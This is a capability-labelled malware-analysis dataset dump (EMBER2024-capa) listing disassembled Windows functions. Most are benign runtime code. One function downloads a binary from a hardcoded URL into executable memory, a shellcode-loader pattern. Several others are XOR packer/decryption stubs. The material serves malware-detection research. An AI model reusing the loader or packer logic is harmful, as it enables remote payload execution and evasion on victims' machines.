joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404837
Capabilities:
Get disk information

Disassembly:
mov eax, 0x429b10
call fcn.00428650
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
call fcn.00401f1f
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x18], ebx
je 0x40490d
mov eax, SysReAllocString
cmp ebx, eax
ja 0x404873
mov eax, ebx
add eax, eax
push eax
call fcn.00405733
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x14], ebx
je 0x404906
cmp ebx, dword [ebp - 0x18]
ja 0x404906
lea ecx, [ebp - 0x2c]
call fcn.00402679
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], edi
jbe 0x4048ee
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x4048e3
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.00405733
mov ecx, dword [ebp - 0x10]
lea eax, [edi + 1]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ebx
call fcn.00405733
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x2c]
push eax
call fcn.00401d25
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x14]
jb 0x4048b1
mov ebx, dword [ebp - 0x14]
push dword [ebp - 0x2c]
call fcn.00402153
push esi
call fcn.00402153
cmp dword [ebp - 0x18], ebx
pop ecx
pop ecx
sete al
jmp 0x40490f
push esi
call fcn.00402153
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x405733
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x405742
pop dword [ebp - 0x4c]
mov eax, 0xfc13cec7
add eax, 0x42c887b
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x39116
push 0
mov eax, 0xab392bac
add eax, 0x55099480
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0xfb407f90
sub ecx, 0xfb403866
xor edi, edi
add edi, eax
mov esi, 0xc823bed5
sub esi, 0xc7e006d5
add esi, dword [ebp - 0x4c]
mov ebx, 0x6f8c2586
sub ebx, 0xa95d5cfd
xor dword [ebp - 0x2c], ebx
mov edx, dword [esi]
xor dword [ebp - 0x20], edi
xor edx, ebx
add dword [ebp - 0x1c], 0xace5d4
mov dword [edi], edx
sub dword [ebp - 0x3c], edi
add edi, 0x464d139d
add edi, 0xb9b2ec67
add esi, 4
loop 0x4057a3
add eax, 0xadebb619
sub eax, 0xadeaa69e
mov ebx, eax
add eax, 0x2f987721
sub eax, 0x2f98771c
mov ecx, 0x5d9a475d
add ecx, 0xa2a5b8a3
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x4dde14
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, eax
mov eax, ebx
call fcn.00484424
xor edx, edx
push ebp
push 0x4dde86
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebx + 0x70]
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 4]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 8]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0xc]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x10]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x14]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x18]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x1c]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov eax, dword [eax + 0x20]
mov byte [eax + 0x30], dl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4dde90
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..reloc
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x74117455
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e024
nop
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x48035864
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x401000
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [0x42c010]
mov dword [eax], 1
mov eax, dword [0x42c014]
mov dword [eax], 1
mov eax, dword [0x42c018]
mov dword [eax], 1
mov ecx, dword [0x42c004]
movzx edx, word [ecx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x40107b
mov edx, dword [ecx + 0x3c]
cmp dword [ecx + edx], 0x4550
jne 0x40107b
add ecx, edx
movzx edx, word [ecx + 0x18]
cmp edx, 0x20b
je 0x401064
cmp edx, 0x10b
jne 0x40107b
cmp dword [ecx + 0x74], 0xf
jb 0x40107b
add ecx, 0xe8
jmp 0x401073
cmp dword [ecx + 0x84], 0xf
jb 0x40107b
add ecx, 0xf8
xor eax, eax
cmp dword [ecx], 0
setne al
push esi
mov ecx, dword [0x42c00c]
cmp dword [ecx], 1
mov dword [0x43606c], eax
mov eax, 2
sbb eax, 0
push eax
call sym.___set_app_type
add esp, 4
mov eax, dword [0x42c040]
mov esi, dword [eax]
call sym.___p__fmode
mov dword [eax], esi
mov eax, dword [0x42c038]
mov esi, dword [eax]
call sym.___p__commode
mov dword [eax], esi
call dbg._setargv
mov eax, dword [section..rdata]
cmp dword [eax], 1
jne 0x4010d3
push dbg._matherr
call dbg.__mingw_setusermatherr
add esp, 4
xor eax, eax
pop esi
ret
Function at 0x401470
Capabilities:
Allocate or change rwx memory
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xdbbd4
call sym.__alloca
call dbg.__main
mov dword [ebp - 4], 0
lea eax, [0x42c04c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 1
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.WININET.DLL_InternetOpenW]
sub esp, 0x14
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
lea eax, str.http:__231.2214.61.67:8951_1.bin
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0x14], 0
call dword [sym.imp.WININET.DLL_InternetOpenUrlW]
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401514
mov dword [ebp - 4], 1
jmp 0x401626
mov edx, dword [ebp - 0xc]
lea ecx, [ebp - 0xdbbac]
lea eax, [ebp - 0xdbbb0]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xdbba0
mov dword [esp + 0xc], eax
call dword [sym.imp.WININET.DLL_InternetReadFile]
sub esp, 0x10
cmp eax, 0
jne 0x401554
mov dword [ebp - 4], 1
jmp 0x401626
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call dword [sym.imp.WININET.DLL_InternetCloseHandle]
sub esp, 4
mov eax, dword [ebp - 8]
mov dword [esp], eax
call dword [sym.imp.WININET.DLL_InternetCloseHandle]
sub esp, 4
mov eax, dword [ebp - 0xdbbb0]
mov dword [esp], eax
call sym..weak.__Znaj.default.___clang_call_terminate
mov dword [ebp - 0xdbbb4], eax
mov edx, dword [ebp - 0xdbbb4]
lea ecx, [ebp - 0xdbbac]
mov eax, dword [ebp - 0xdbbb0]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call sym.rememcpy_void__void__unsigned_int_
mov eax, dword [ebp - 0xdbbb0]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0xdbbb8], eax
mov edx, dword [ebp - 0xdbbb8]
mov ecx, dword [ebp - 0xdbbb4]
mov eax, dword [ebp - 0xdbbb0]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call sym.rememmove_void__void_const__unsigned_int_
mov eax, dword [ebp - 0xdbbb4]
mov dword [ebp - 0xdbbbc], eax
cmp eax, 0
je 0x40161f
mov eax, dword [ebp - 0xdbbbc]
mov dword [esp], eax
call sym..weak.__ZdaPv.default.___clang_call_terminate
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add esp, 0xdbbd4
pop ebp
ret

Function at 0x401ef0
Capabilities:
Write file on windows

Disassembly:
push esi
push eax
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
mov dword [esp], eax
push 2
call dbg.__acrt_iob_func
add esp, 4
push eax
push 1
push 0x1b
push str.Mingw_w64_runtime_failure:_n
call sym._fwrite
add esp, 0x10
push 2
call dbg.__acrt_iob_func
add esp, 4
push dword [esp]
push esi
push eax
call sym._vfprintf
add esp, 0xc
call sym._abort
int3
Function at 0x404ef0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x18]
cmp eax, 3
ja case.default.0x404f01
jmp dword [eax*4 + 0x42d038]
cmp dword [0x4360d0], 0
je 0x405010
push 0x4360d4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x4360ec]
test edi, edi
je 0x405005
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x404f4b
mov edi, dword [edi + 8]
test edi, edi
je 0x405005
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x404f40
test esi, esi
je 0x404f40
mov ecx, dword [edi + 4]
call dword [0x433d34]
push esi
call ecx
add esp, 4
jmp 0x404f40
call dbg._fpreset
jmp case.default.0x404f01
cmp dword [0x4360d0], 0
je case.default.0x404f01
push 0x4360d4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x4360ec]
test edi, edi
je 0x404ff8
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x404fb7
mov edi, dword [edi + 8]
test edi, edi
je 0x404ff8
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x404fb0
test esi, esi
je 0x404fb0
mov ecx, dword [edi + 4]
call dword [0x433d34]
push esi
call ecx
add esp, 4
jmp 0x404fb0
cmp dword [0x4360d0], 0
jne 0x404fec
push 0x4360d4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4360d0], 1
jmp case.default.0x404f01
push 0x4360d4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp case.default.0x404f01
push 0x4360d4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x4360d0]
cmp eax, 1
jne case.default.0x404f01
mov eax, dword [0x4360ec]
test eax, eax
je 0x405042
nop word cs:[eax + eax]
mov esi, dword [eax + 8]
push eax
call sym._free
add esp, 4
mov eax, esi
test esi, esi
jne 0x405030
mov dword [0x4360ec], 0
mov dword [0x4360d0], 0
push 0x4360d4
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, 1
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x405180
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push edi
push esi
mov esi, dword [0x42c004]
movzx ecx, word [esi]
xor eax, eax
cmp ecx, 0x5a4d
jne 0x4051e6
mov ecx, dword [esi + 0x3c]
cmp dword [esi + ecx], 0x4550
jne 0x4051e6
add esi, ecx
movzx ecx, word [esi + 0x18]
cmp ecx, 0x10b
jne 0x4051e6
movzx ecx, word [esi + 6]
test ecx, ecx
je 0x4051e6
mov edx, dword [esp + 0xc]
sub edx, dword [0x42c004]
movzx edi, word [esi + 0x14]
add esi, edi
add esi, 0x18
jmp 0x4051d6
add esi, 0x28
dec ecx
je 0x4051e6
mov edi, dword [esi + 0xc]
cmp edi, edx
ja 0x4051d0
add edi, dword [esi + 8]
cmp edi, edx
jbe 0x4051d0
mov eax, esi
pop esi
pop edi
ret
Function at 0x406840
Capabilities:
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
call sym._logAPIs
test al, al
je 0x406887
mov esi, dword [dbg.__acrt_iob_func]
push 2
call esi
add esp, 4
push ebp
push ebx
push edi
push str.libunwind:__Unwind_SetGR_context_p__reg_d__value0x_0x__n
push eax
call sym._fprintf_1
add esp, 0x14
push 2
call esi
add esp, 4
push eax
call sym._fflush
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
jmp sym.___unw_set_reg

Function at 0x406c20
Capabilities:
Create thread

Disassembly:
push ebx
push edi
push esi
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x14]
push 8
call sym..weak.__Znwj.default.___clang_call_terminate
add esp, 4
mov dword [eax], ebx
mov dword [eax + 4], edi
push 0
push 0
push eax
push sym.__ZNSt3__1L28__libcpp_beginthreadex_thunkB8ne180100EPv_4
push 0
push 0
call dword [sym.imp.msvcrt.dll__beginthreadex]
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x406c61
xor eax, eax
pop esi
pop edi
pop ebx
ret
pop esi
pop edi
pop ebx
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x4210b0
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
push esi
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
cmp byte [0x4370a3], 1
jne 0x4210cf
cmp byte [0x4370a2], 0
jne 0x4210ee
jmp 0x42111b
push str.LIBUNWIND_PRINT_APIS
call sym._getenv
add esp, 4
mov byte [0x4370a3], 1
test eax, eax
setne byte [0x4370a2]
je 0x42111b
mov ebx, dword [dbg.__acrt_iob_func]
push 2
call ebx
add esp, 4
push edi
push esi
push str.libunwind:___unw_init_local_cursor_p__context_p__n
push eax
call sym.fprintf__iobuf__char_const__..._
add esp, 0x10
push 2
call ebx
add esp, 4
push eax
call sym._fflush
add esp, 4
mov dword [esi], method.libunwind::AbstractUnwindCursor.AbstractUnwindCursor__
mov dword [esi + 4], 0x437098
movups xmm0, xmmword [edi]
movups xmm1, xmmword [edi + 0x10]
movups xmmword [esi + 8], xmm0
movups xmmword [esi + 0x18], xmm1
movups xmm0, xmmword [edi + 0x20]
movups xmmword [esi + 0x28], xmm0
movups xmm0, xmmword [edi + 0x30]
movups xmmword [esi + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [esi + 0x48], xmm0
movups xmmword [esi + 0x58], xmm0
movups xmmword [esi + 0x62], xmm0
mov ecx, esi
push 0
call method.libunwind::UnwindCursor_libunwind::LocalAddressSpace__libunwind::Registers_x86_.setInfoBasedOnIPRegister_bool_
xor eax, eax
pop esi
pop edi
pop ebx
ret

Function at 0x421170
Capabilities:
Query environment variable

Disassembly:
cmp byte [0x4370a3], 1
jne 0x421184
cmp byte [0x4370a2], 0
setne al
ret
push str.LIBUNWIND_PRINT_APIS
call sym._getenv
add esp, 4
test eax, eax
setne al
setne byte [0x4370a2]
mov byte [0x4370a3], 1
ret

Function at 0x4211b0
Capabilities:
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp byte [0x4370a3], 1
jne 0x4211d4
cmp byte [0x4370a2], 0
jne 0x4211f3
jmp 0x421221
push str.LIBUNWIND_PRINT_APIS
call sym._getenv
add esp, 4
mov byte [0x4370a3], 1
test eax, eax
setne byte [0x4370a2]
je 0x421221
mov edi, dword [dbg.__acrt_iob_func]
push 2
call edi
add esp, 4
push ebx
push ebp
push esi
push str.libunwind:___unw_get_reg_cursor_p__regNum_d__value_p__n
push eax
call sym.fprintf__iobuf__char_const__..._
add esp, 0x14
push 2
call edi
add esp, 4
push eax
call sym._fflush
add esp, 4
mov eax, dword [esi]
mov edi, dword [eax + 8]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push ebp
call edi
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x421254
mov eax, dword [esi]
mov edi, dword [eax + 0xc]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push ebp
call edi
mov dword [ebx], eax
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x421260
Capabilities:
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov ebp, dword [esp + 0x44]
mov ebx, dword [esp + 0x40]
mov esi, dword [esp + 0x3c]
cmp byte [0x4370a3], 1
jne 0x421287
cmp byte [0x4370a2], 0
jne 0x4212a6
jmp 0x4212d4
push str.LIBUNWIND_PRINT_APIS
call sym._getenv
add esp, 4
mov byte [0x4370a3], 1
test eax, eax
setne byte [0x4370a2]
je 0x4212d4
mov edi, dword [dbg.__acrt_iob_func]
push 2
call edi
add esp, 4
push ebp
push ebx
push esi
push str.libunwind:___unw_set_reg_cursor_p__regNum_d__value0x_x__n
push eax
call sym.fprintf__iobuf__char_const__..._
add esp, 0x14
push 2
call edi
add esp, 4
push eax
call sym._fflush
add esp, 4
mov eax, dword [esi]
mov edi, dword [eax + 8]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push ebx
call edi
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x421368
mov eax, dword [esi]
mov edi, dword [eax + 0x10]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push ebp
push ebx
call edi
xor eax, eax
cmp ebx, 0xffffffff
jne 0x421368
mov eax, dword [esi]
mov edi, dword [eax + 0x24]
mov ecx, edi
call dword [0x433d34]
mov eax, esp
mov ecx, esi
push eax
call edi
mov eax, dword [esi]
mov edi, dword [eax + 0x34]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push 0
call edi
cmp dword [esp + 0x10], 0
je 0x421366
mov eax, dword [esi]
mov edi, dword [eax + 0xc]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push 0xfffffffffffffffe
call edi
mov edi, eax
add edi, dword [esp + 0x10]
mov eax, dword [esi]
mov ebx, dword [eax + 0x10]
mov ecx, ebx
call dword [0x433d34]
mov ecx, esi
push edi
push 0xfffffffffffffffe
call ebx
xor eax, eax
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x421370
Capabilities:
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp byte [0x4370a3], 1
jne 0x421394
cmp byte [0x4370a2], 0
jne 0x4213b3
jmp 0x4213e1
push str.LIBUNWIND_PRINT_APIS
call sym._getenv
add esp, 4
mov byte [0x4370a3], 1
test eax, eax
setne byte [0x4370a2]
je 0x4213e1
mov edi, dword [dbg.__acrt_iob_func]
push 2
call edi
add esp, 4
push ebx
push ebp
push esi
push str.libunwind:___unw_get_fpreg_cursor_p__regNum_d__value_p__n
push eax
call sym.fprintf__iobuf__char_const__..._
add esp, 0x14
push 2
call edi
add esp, 4
push eax
call sym._fflush
add esp, 4
mov eax, dword [esi]
mov edi, dword [eax + 0x14]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push ebp
call edi
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x421414
mov eax, dword [esi]
mov edi, dword [eax + 0x18]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push ebp
call edi
fstp qword [ebx]
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x421420
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
push esi
sub esp, 0x18
mov ebx, dword [esp + 0x2c]
mov esi, dword [esp + 0x28]
cmp byte [0x4370a3], 1
jne 0x421442
cmp byte [0x4370a2], 0
jne 0x421460
jmp 0x4214a4
mov dword [esp], str.LIBUNWIND_PRINT_APIS
call sym._getenv
mov byte [0x4370a3], 1
test eax, eax
setne byte [0x4370a2]
je 0x4214a4
mov dword [esp], 2
mov edi, dword [dbg.__acrt_iob_func]
call edi
movsd xmm0, qword [esp + 0x30]
movsd qword [esp + 0x10], xmm0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp], eax
mov dword [esp + 4], str.libunwind:___unw_set_fpreg_cursor_p__regNum_d__value_g__n
call sym.fprintf__iobuf__char_const__..._
mov dword [esp], 2
call edi
mov dword [esp], eax
call sym._fflush
mov eax, dword [esi]
mov edi, dword [eax + 0x14]
mov ecx, edi
call dword [0x433d34]
mov dword [esp], ebx
mov ecx, esi
call edi
sub esp, 4
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x4214eb
mov eax, dword [esi]
mov edi, dword [eax + 0x1c]
mov ecx, edi
call dword [0x433d34]
movsd xmm0, qword [esp + 0x30]
movsd qword [esp + 4], xmm0
mov dword [esp], ebx
mov ecx, esi
call edi
sub esp, 0xc
xor eax, eax
add esp, 0x18
pop esi
pop edi
pop ebx
ret

Function at 0x421500
Capabilities:
Query environment variable

Disassembly:
push edi
push esi
mov esi, dword [esp + 0xc]
cmp byte [0x4370a3], 1
jne 0x42151a
cmp byte [0x4370a2], 0
jne 0x421539
jmp 0x421565
push str.LIBUNWIND_PRINT_APIS
call sym._getenv
add esp, 4
mov byte [0x4370a3], 1
test eax, eax
setne byte [0x4370a2]
je 0x421565
mov edi, dword [dbg.__acrt_iob_func]
push 2
call edi
add esp, 4
push esi
push str.libunwind:___unw_step_cursor_p__n
push eax
call sym.fprintf__iobuf__char_const__..._
add esp, 0xc
push 2
call edi
add esp, 4
push eax
call sym._fflush
add esp, 4
mov eax, dword [esi]
mov edi, dword [eax + 0x20]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push 0
call edi
pop esi
pop edi
ret

Function at 0x421580
Capabilities:
Query environment variable

Disassembly:
push edi
push esi
mov esi, dword [esp + 0xc]
cmp byte [0x4370a3], 1
jne 0x42159a
cmp byte [0x4370a2], 0
jne 0x4215b9
jmp 0x4215e5
push str.LIBUNWIND_PRINT_APIS
call sym._getenv
add esp, 4
mov byte [0x4370a3], 1
test eax, eax
setne byte [0x4370a2]
je 0x4215e5
mov edi, dword [dbg.__acrt_iob_func]
push 2
call edi
add esp, 4
push esi
push str.libunwind:___unw_step_stage2_cursor_p__n
push eax
call sym.fprintf__iobuf__char_const__..._
add esp, 0xc
push 2
call edi
add esp, 4
push eax
call sym._fflush
add esp, 4
mov eax, dword [esi]
mov edi, dword [eax + 0x20]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push 1
call edi
pop esi
pop edi
ret
Function at 0x421600
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
push esi
mov ebx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
cmp byte [0x4370a3], 1
jne 0x42161f
cmp byte [0x4370a2], 0
jne 0x42163e
jmp 0x42166b
push str.LIBUNWIND_PRINT_APIS
call sym._getenv
add esp, 4
mov byte [0x4370a3], 1
test eax, eax
setne byte [0x4370a2]
je 0x42166b
mov edi, dword [dbg.__acrt_iob_func]
push 2
call edi
add esp, 4
push ebx
push esi
push str.libunwind:___unw_get_proc_info_cursor_p__info_p__n
push eax
call sym.fprintf__iobuf__char_const__..._
add esp, 0x10
push 2
call edi
add esp, 4
push eax
call sym._fflush
add esp, 4
mov eax, dword [esi]
mov edi, dword [eax + 0x24]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push ebx
call edi
xor ecx, ecx
cmp dword [ebx + 4], 0
mov eax, 0xffffe66b
cmovne eax, ecx
pop esi
pop edi
pop ebx
ret

Function at 0x421690
Capabilities:
Query environment variable

Disassembly:
push edi
push esi
mov esi, dword [esp + 0xc]
cmp byte [0x4370a3], 1
jne 0x4216aa
cmp byte [0x4370a2], 0
jne 0x4216c9
jmp 0x4216f5
push str.LIBUNWIND_PRINT_APIS
call sym._getenv
add esp, 4
mov byte [0x4370a3], 1
test eax, eax
setne byte [0x4370a2]
je 0x4216f5
mov edi, dword [dbg.__acrt_iob_func]
push 2
call edi
add esp, 4
push esi
push str.libunwind:___unw_resume_cursor_p__n
push eax
call sym.fprintf__iobuf__char_const__..._
add esp, 0xc
push 2
call edi
add esp, 4
push eax
call sym._fflush
add esp, 4
mov eax, dword [esi]
mov edi, dword [eax + 0x28]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
call edi
mov eax, 0xffffe674
pop esi
pop edi
ret

Function at 0x421710
Capabilities:
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp byte [0x4370a3], 1
jne 0x421734
cmp byte [0x4370a2], 0
jne 0x421753
jmp 0x421781
push str.LIBUNWIND_PRINT_APIS
call sym._getenv
add esp, 4
mov byte [0x4370a3], 1
test eax, eax
setne byte [0x4370a2]
je 0x421781
mov edi, dword [dbg.__acrt_iob_func]
push 2
call edi
add esp, 4
push ebp
push ebx
push esi
push str.libunwind:___unw_get_proc_name_cursor_p__buf_p__bufLen_lu__n
push eax
call sym.fprintf__iobuf__char_const__..._
add esp, 0x14
push 2
call edi
add esp, 4
push eax
call sym._fflush
add esp, 4
mov eax, dword [esi]
mov edi, dword [eax + 0x30]
mov ecx, edi
call dword [0x433d34]
mov ecx, esi
push dword [esp + 0x20]
push ebp
push ebx
call edi
xor ecx, ecx
test al, al
mov eax, 0xffffe674
cmovne eax, ecx
pop esi
pop edi
pop ebx
pop ebp
ret